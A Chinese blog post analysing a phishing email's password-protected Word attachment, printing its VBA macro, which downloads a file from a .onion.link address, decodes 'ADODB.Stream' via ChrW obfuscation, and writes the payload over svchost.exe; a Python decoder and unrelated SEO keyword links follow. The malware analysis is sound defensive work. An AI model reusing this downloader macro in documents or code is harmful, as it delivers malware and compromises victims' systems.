一次垃圾邮件的分析
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。环境:ubuntu 16.0
千家信息网最后更新 2025年01月20日一次垃圾邮件的分析
上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。
- 环境:ubuntu 16.04
- office软件: LibreOffice writer
1. FBI Warning
分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行
2. 邮件截图
3. 邮件分析
可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。
- doc附件有密码,且密码为1115
4. 附件分析
一般分析方法
- 4.1 一般来说,非打开方式去分析一个word附件,我们一般会选择oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletools来提取word文档中的宏。
4.2 olevba 提取宏展示
olevba -c xxx.doc
- -c: 只显示word中的宏代码
- -a: 自动分析word是否可疑
加了密码后,就不能用一般的分析方法
- 4.3 尝试是用olevba来提取文档的vba代码
- 4.4 关闭宏自动运行的前提下,打开word附件。
- 4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
- 4.4.2 打开后,提示word文档包含宏
- 4.4.3 诱惑用户启用宏
- 4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
4.5 查看宏代码
可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器- 4.6 宏代码分析
- Step1. 访问暗网的某个网站下载一个文件,现在已经无法打开这个暗网的链接。
Sub MainDim WinHttpReq As ObjectSet WinHttpReq = CreateObject("Microsoft.XMLHTTP")WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"WinHttpReq.send
如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
- Step2. 一个简单的混淆,拼凑出
Dim first5 As StringDim second5 As StringDim last5 As Stringfirst5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)second5 = ChrW(97) & ChrW(109)last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"second5 = "ChrW(97) & ChrW(109)"def convert_vb2py(s): first_s = s.replace("ChrW","chr") second_s = first_s.replace("&","+") return second_sprint eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
xyuhjnx = WinHttpReq.responseBodyIf WinHttpReq.Status = 200 ThenSet oStream = CreateObject(last5)oStream.OpenoStream.Type = Val("1FFF")oStream.Write WinHttpReq.responseBodyDim first6 As StringDim last6 As Stringfirst6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)last6 = first6oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")oStream.CloseEnd IfEnd Sub
代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。
- 4.7 到此,我们分析完整个宏代码
总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。
参考链接
- 其它事件分析1
- 恶意软件分析网站分析结果
- SaveToFIle参考
分析
文档
代码
密码
附件
邮件
文件
链接
内容
恶意
方法
网站
软件
运行
对象
就是
目录
系统
参考
输入
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
七夕软件开发
数据库中文件怎样传输到手机
泰州第十代i5服务器
网络安全简报信息
红河蒙自网络安全培训机构
软件开发培训费用
江宁区智能化软件开发创新服务
大专电脑软件开发
支付宝免费打印服务器
2021国家网络安全主题峰会
网络安全制胜法宝视频
计算机语言编数据库
数据库和程序哪一个简单
吉林指盈网络技术有限公司
进服务器命令m
机房里服务器是什么品牌的
软件开发10个常识
网络安全攻防要学什么 知乎
免费外文期刊数据库
在虚拟机上部署数据库
成都市 网络安全和信息化
河南林业计算机网络技术
数据库删除磁盘组
网络技术服务多少的税率
东营ios软件开发公司有哪些
软件开发管理体系学校
资料收集软件开发
mysql数据库备份定时
眉县互联网科技产业园老总
数据库建立一个顺序表